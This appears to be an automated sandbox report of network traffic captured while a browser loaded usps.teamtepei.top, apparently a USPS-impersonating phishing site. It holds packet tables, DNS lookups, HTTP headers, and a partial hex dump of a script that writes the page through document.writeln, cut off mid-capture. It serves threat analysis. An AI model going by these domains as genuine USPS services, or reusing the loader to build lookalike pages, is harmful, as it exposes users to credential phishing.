              May 28, 2024 00:32:16.163912058 CEST44349720188.114.97.3192.168.2.5
              May 28, 2024 00:32:16.164153099 CEST44349720188.114.97.3192.168.2.5
              May 28, 2024 00:32:16.164259911 CEST49720443192.168.2.5188.114.97.3
              May 28, 2024 00:32:16.191400051 CEST49719443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.191467047 CEST44349719188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.201519966 CEST49721443192.168.2.5184.28.90.27
              May 28, 2024 00:32:16.203129053 CEST49720443192.168.2.5188.114.97.3
              May 28, 2024 00:32:16.203147888 CEST44349720188.114.97.3192.168.2.5
              May 28, 2024 00:32:16.207484007 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.207534075 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.207604885 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.207789898 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.207824945 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.242501020 CEST44349721184.28.90.27192.168.2.5
              May 28, 2024 00:32:16.373449087 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.373692989 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.373713017 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.374886036 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.374942064 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.375296116 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.375364065 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.375514984 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.375520945 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.376285076 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.376477003 CEST49722443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.376485109 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.380057096 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.380124092 CEST49722443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.380445957 CEST49722443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.380527973 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.391120911 CEST44349721184.28.90.27192.168.2.5
              May 28, 2024 00:32:16.391335964 CEST49721443192.168.2.5184.28.90.27
              May 28, 2024 00:32:16.391354084 CEST44349721184.28.90.27192.168.2.5
              May 28, 2024 00:32:16.391366959 CEST49721443192.168.2.5184.28.90.27
              May 28, 2024 00:32:16.391421080 CEST44349721184.28.90.27192.168.2.5
              May 28, 2024 00:32:16.391530991 CEST44349721184.28.90.27192.168.2.5
              May 28, 2024 00:32:16.415838003 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.421108961 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:16.421133995 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:16.421201944 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:16.421437025 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:16.421441078 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:16.431463003 CEST49722443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.431477070 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.478343010 CEST49722443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.506388903 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.506427050 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.506500006 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.506524086 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.506550074 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.506551027 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.506577015 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.506596088 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.506619930 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.507183075 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.507236004 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.507282972 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.507283926 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.507296085 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.507360935 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.508013964 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.508045912 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.508261919 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.508274078 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.556444883 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.595546007 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.595639944 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.595690966 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.595705986 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.595980883 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596015930 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596024990 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.596030951 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596062899 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596093893 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596113920 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.596120119 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596142054 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.596741915 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596776009 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596796036 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.596801996 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596832037 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596843004 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.596847057 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596879005 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596885920 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.596889973 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.596930027 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.597608089 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.597799063 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.597832918 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.597841978 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.597850084 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.597894907 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.597933054 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.597939968 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.597976923 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.599093914 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.599129915 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.599157095 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.599164963 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.599172115 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.599323034 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.599328995 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.650197983 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.686309099 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686333895 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.686400890 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686407089 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686446905 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.686460972 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686625957 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.686645031 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.686844110 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686885118 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686896086 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.686903954 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686919928 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.686925888 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.686960936 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.686964989 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.687047005 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.687434912 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.687484026 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.687514067 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.687558889 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.687654018 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.687704086 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.688323021 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.688376904 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.688384056 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.688395977 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.688429117 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.688534021 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.688549995 CEST44349723188.114.96.3192.168.2.5
              May 28, 2024 00:32:16.688560009 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.688636065 CEST49723443192.168.2.5188.114.96.3
              May 28, 2024 00:32:16.786725044 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.786833048 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.786844015 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.786983967 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.835896015 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.835906029 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.884583950 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.911931992 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.912008047 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.912439108 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.912452936 CEST4434972435.190.80.1192.168.2.5
              May 28, 2024 00:32:16.912460089 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.912482977 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.912482977 CEST49724443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.913392067 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.913420916 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:16.913490057 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.913845062 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:16.913858891 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.056385040 CEST4434970323.1.237.91192.168.2.5
              May 28, 2024 00:32:17.056560993 CEST49703443192.168.2.523.1.237.91
              May 28, 2024 00:32:17.080290079 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.080360889 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:17.082191944 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:17.082199097 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.082566023 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.084424973 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:17.130498886 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.357593060 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.357772112 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.357847929 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:17.359013081 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:17.359039068 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.359055042 CEST49725443192.168.2.5184.28.90.27
              May 28, 2024 00:32:17.359062910 CEST44349725184.28.90.27192.168.2.5
              May 28, 2024 00:32:17.400777102 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.401410103 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:17.401492119 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.401891947 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.402265072 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:17.402359962 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.402381897 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:17.442538977 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.442662001 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:17.535528898 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.535698891 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:17.535758972 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:17.536323071 CEST49726443192.168.2.535.190.80.1
              May 28, 2024 00:32:17.536351919 CEST4434972635.190.80.1192.168.2.5
              May 28, 2024 00:32:25.074589014 CEST44349718172.217.16.196192.168.2.5
              May 28, 2024 00:32:25.074758053 CEST44349718172.217.16.196192.168.2.5
              May 28, 2024 00:32:25.074819088 CEST49718443192.168.2.5172.217.16.196
              May 28, 2024 00:32:26.968686104 CEST49718443192.168.2.5172.217.16.196
              May 28, 2024 00:32:26.968714952 CEST44349718172.217.16.196192.168.2.5
              May 28, 2024 00:32:31.272870064 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:32:31.272960901 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:32:31.273174047 CEST49722443192.168.2.5188.114.96.3
              May 28, 2024 00:32:32.779028893 CEST49722443192.168.2.5188.114.96.3
              May 28, 2024 00:32:32.779053926 CEST44349722188.114.96.3192.168.2.5
              May 28, 2024 00:33:14.582201958 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:14.582288027 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:14.582461119 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:14.582833052 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:14.582916021 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:15.230864048 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:15.231268883 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:15.231331110 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:15.231688976 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:15.232208967 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:15.232286930 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:15.276294947 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:25.133917093 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:25.133997917 CEST44349736172.217.16.196192.168.2.5
              May 28, 2024 00:33:25.134128094 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:26.968714952 CEST49736443192.168.2.5172.217.16.196
              May 28, 2024 00:33:26.968794107 CEST44349736172.217.16.196192.168.2.5

              UDP Packets

              TimestampSource PortDest PortSource IPDest IP
              May 28, 2024 00:32:10.591655970 CEST53571371.1.1.1192.168.2.5
              May 28, 2024 00:32:10.607415915 CEST53576461.1.1.1192.168.2.5
              May 28, 2024 00:32:11.609143972 CEST53524651.1.1.1192.168.2.5
              May 28, 2024 00:32:12.062699080 CEST5763853192.168.2.51.1.1.1
              May 28, 2024 00:32:12.062819004 CEST5707353192.168.2.51.1.1.1
              May 28, 2024 00:32:12.403678894 CEST53570731.1.1.1192.168.2.5
              May 28, 2024 00:32:12.633990049 CEST53576381.1.1.1192.168.2.5
              May 28, 2024 00:32:14.504175901 CEST5603353192.168.2.51.1.1.1
              May 28, 2024 00:32:14.504720926 CEST6516853192.168.2.51.1.1.1
              May 28, 2024 00:32:14.511658907 CEST53651681.1.1.1192.168.2.5
              May 28, 2024 00:32:14.512561083 CEST53560331.1.1.1192.168.2.5
              May 28, 2024 00:32:14.621205091 CEST5419853192.168.2.51.1.1.1
              May 28, 2024 00:32:14.621710062 CEST5850353192.168.2.51.1.1.1
              May 28, 2024 00:32:14.632260084 CEST53585031.1.1.1192.168.2.5
              May 28, 2024 00:32:15.201390028 CEST53541981.1.1.1192.168.2.5
              May 28, 2024 00:32:15.308288097 CEST5842053192.168.2.51.1.1.1
              May 28, 2024 00:32:15.308438063 CEST5981653192.168.2.51.1.1.1
              May 28, 2024 00:32:15.321177006 CEST53598161.1.1.1192.168.2.5
              May 28, 2024 00:32:15.730470896 CEST53584201.1.1.1192.168.2.5
              May 28, 2024 00:32:16.199496031 CEST5364953192.168.2.51.1.1.1
              May 28, 2024 00:32:16.200217962 CEST5877553192.168.2.51.1.1.1
              May 28, 2024 00:32:16.206233025 CEST53536491.1.1.1192.168.2.5
              May 28, 2024 00:32:16.207031965 CEST53587751.1.1.1192.168.2.5
              May 28, 2024 00:32:28.861922026 CEST53596651.1.1.1192.168.2.5
              May 28, 2024 00:32:48.038523912 CEST53555411.1.1.1192.168.2.5
              May 28, 2024 00:33:09.824188948 CEST53538431.1.1.1192.168.2.5
              May 28, 2024 00:33:10.991782904 CEST53522641.1.1.1192.168.2.5

              DNS Queries

              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              May 28, 2024 00:32:12.062699080 CEST192.168.2.51.1.1.10xe72aStandard query (0)usps.teamtepei.topA (IP address)IN (0x0001)false
              May 28, 2024 00:32:12.062819004 CEST192.168.2.51.1.1.10x5a6dStandard query (0)usps.teamtepei.top65IN (0x0001)false
              May 28, 2024 00:32:14.504175901 CEST192.168.2.51.1.1.10xf167Standard query (0)www.google.comA (IP address)IN (0x0001)false
              May 28, 2024 00:32:14.504720926 CEST192.168.2.51.1.1.10xcdcaStandard query (0)www.google.com65IN (0x0001)false
              May 28, 2024 00:32:14.621205091 CEST192.168.2.51.1.1.10xdde8Standard query (0)api.teamtepei.topA (IP address)IN (0x0001)false
              May 28, 2024 00:32:14.621710062 CEST192.168.2.51.1.1.10x935dStandard query (0)api.teamtepei.top65IN (0x0001)false
              May 28, 2024 00:32:15.308288097 CEST192.168.2.51.1.1.10x44aaStandard query (0)usps.teamtepei.topA (IP address)IN (0x0001)false
              May 28, 2024 00:32:15.308438063 CEST192.168.2.51.1.1.10xa5d0Standard query (0)usps.teamtepei.top65IN (0x0001)false
              May 28, 2024 00:32:16.199496031 CEST192.168.2.51.1.1.10xfa7Standard query (0)a.nel.cloudflare.comA (IP address)IN (0x0001)false
              May 28, 2024 00:32:16.200217962 CEST192.168.2.51.1.1.10x83eeStandard query (0)a.nel.cloudflare.com65IN (0x0001)false

              DNS Answers

              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              May 28, 2024 00:32:12.403678894 CEST1.1.1.1192.168.2.50x5a6dNo error (0)usps.teamtepei.top65IN (0x0001)false
              May 28, 2024 00:32:12.633990049 CEST1.1.1.1192.168.2.50xe72aNo error (0)usps.teamtepei.top188.114.97.3A (IP address)IN (0x0001)false
              May 28, 2024 00:32:12.633990049 CEST1.1.1.1192.168.2.50xe72aNo error (0)usps.teamtepei.top188.114.96.3A (IP address)IN (0x0001)false
              May 28, 2024 00:32:14.511658907 CEST1.1.1.1192.168.2.50xcdcaNo error (0)www.google.com65IN (0x0001)false
              May 28, 2024 00:32:14.512561083 CEST1.1.1.1192.168.2.50xf167No error (0)www.google.com172.217.16.196A (IP address)IN (0x0001)false
              May 28, 2024 00:32:14.632260084 CEST1.1.1.1192.168.2.50x935dNo error (0)api.teamtepei.top65IN (0x0001)false
              May 28, 2024 00:32:15.201390028 CEST1.1.1.1192.168.2.50xdde8No error (0)api.teamtepei.top188.114.96.3A (IP address)IN (0x0001)false
              May 28, 2024 00:32:15.201390028 CEST1.1.1.1192.168.2.50xdde8No error (0)api.teamtepei.top188.114.97.3A (IP address)IN (0x0001)false
              May 28, 2024 00:32:15.321177006 CEST1.1.1.1192.168.2.50xa5d0No error (0)usps.teamtepei.top65IN (0x0001)false
              May 28, 2024 00:32:15.730470896 CEST1.1.1.1192.168.2.50x44aaNo error (0)usps.teamtepei.top188.114.96.3A (IP address)IN (0x0001)false
              May 28, 2024 00:32:15.730470896 CEST1.1.1.1192.168.2.50x44aaNo error (0)usps.teamtepei.top188.114.97.3A (IP address)IN (0x0001)false
              May 28, 2024 00:32:16.206233025 CEST1.1.1.1192.168.2.50xfa7No error (0)a.nel.cloudflare.com35.190.80.1A (IP address)IN (0x0001)false
              May 28, 2024 00:32:27.408453941 CEST1.1.1.1192.168.2.50xd879No error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
              May 28, 2024 00:32:27.408453941 CEST1.1.1.1192.168.2.50xd879No error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false
              May 28, 2024 00:32:40.771688938 CEST1.1.1.1192.168.2.50x956aNo error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
              May 28, 2024 00:32:40.771688938 CEST1.1.1.1192.168.2.50x956aNo error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false
              May 28, 2024 00:33:03.113718987 CEST1.1.1.1192.168.2.50x4a1dNo error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
              May 28, 2024 00:33:03.113718987 CEST1.1.1.1192.168.2.50x4a1dNo error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false
              May 28, 2024 00:33:22.848854065 CEST1.1.1.1192.168.2.50x6389No error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
              May 28, 2024 00:33:22.848854065 CEST1.1.1.1192.168.2.50x6389No error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false

              HTTP Request Dependency Graph

              • usps.teamtepei.top
              • https:
              • api.teamtepei.top
              • fs.microsoft.com
              • a.nel.cloudflare.com

              HTTPS Proxied Packets

              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              0192.168.2.549710188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:13 UTC661OUTGET / HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              sec-ch-ua-platform: "Windows"
              Upgrade-Insecure-Requests: 1
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
              Sec-Fetch-Site: none
              Sec-Fetch-Mode: navigate
              Sec-Fetch-User: ?1
              Sec-Fetch-Dest: document
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:13 UTC631INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:13 GMT
              Content-Type: text/html
              Transfer-Encoding: chunked
              Connection: close
              Last-Modified: Mon, 30 Oct 2023 07:40:54 GMT
              Accept-Ranges: bytes
              CF-Cache-Status: DYNAMIC
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iJYBSXpMlGmjir0rgttAvz%2FXcDkv2wJbwfoXtIPpI9KAgh75UjhdLYCP8ichSCoh15hYtKEGGzJyJ%2FYFDfM%2BIAhNj9reuUYBtzpgqKc1PYAd0Oe0e106UQmTsT9fMqYGHj5jqAI%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975aa9fc77c7e-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:13 UTC84INData Raw: 34 65 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 6a 73 2f 75 73 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a
              Data Ascii: 4e<script src="static/js/us.js" type="text/javascript" charset="utf-8"></script>
              2024-05-27 22:32:13 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              1192.168.2.549709188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:13 UTC536OUTGET /static/js/us.js HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              sec-ch-ua-platform: "Windows"
              Accept: */*
              Sec-Fetch-Site: same-origin
              Sec-Fetch-Mode: no-cors
              Sec-Fetch-Dest: script
              Referer: https://usps.teamtepei.top/
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:13 UTC696INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:13 GMT
              Content-Type: application/javascript
              Content-Length: 1087
              Connection: close
              Last-Modified: Mon, 30 Oct 2023 07:40:54 GMT
              ETag: "653f5e06-43f"
              Cache-Control: max-age=14400
              CF-Cache-Status: REVALIDATED
              Accept-Ranges: bytes
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZZd2HxL1KrGs161yj0IgCcMqycX2wHAEMeaVK6pGrzHBZ98vgrc5gINZ%2Bri4rhS8XgCByW7EJqH0GCMRFwswkyd%2FjKC5oBno4TYSdg%2BnlnBiZdmA2%2FJrMGsxc5WhQAC8p78kSQ%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975ac6c672394-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:13 UTC673INData Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 22 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 22 3c 68 74 6d 6c 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 22 09 3c 68 65 61 64 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 22 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 5c 22 75 74 66 2d 38 5c 22 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 22 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 5c 22 76 69 65 77 70 6f 72 74 5c 22 20 63 6f 6e 74 65 6e 74 3d 5c 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 5c 22 3e 22 29 3b 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c
